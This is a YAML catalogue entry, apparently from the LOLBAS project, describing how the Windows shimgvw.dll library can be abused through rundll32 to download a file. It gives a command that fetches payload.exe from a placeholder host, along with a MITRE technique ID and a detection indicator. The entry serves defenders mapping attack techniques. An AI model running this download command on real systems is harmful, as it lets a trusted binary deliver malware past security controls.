---
Name: Shimgvw.dll
Description: Photo Gallery Viewer
Author: Eral4m
Created: 2021-01-06
Commands:
  - Command: rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen http://x.x.x.x/payload.exe
    Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe. Can also be used with entrypoint 'ImageView_FullscreenA'.
    Usecase: Download file from remote location.
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: c:\windows\system32\shimgvw.dll
  - Path: c:\windows\syswow64\shimgvw.dll
Detection:
  - IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line
Resources:
  - Link: https://twitter.com/eral4m/status/1479080793003671557
Acknowledgement:
  - Person: Eral4m
    Handle: '@eral4m'
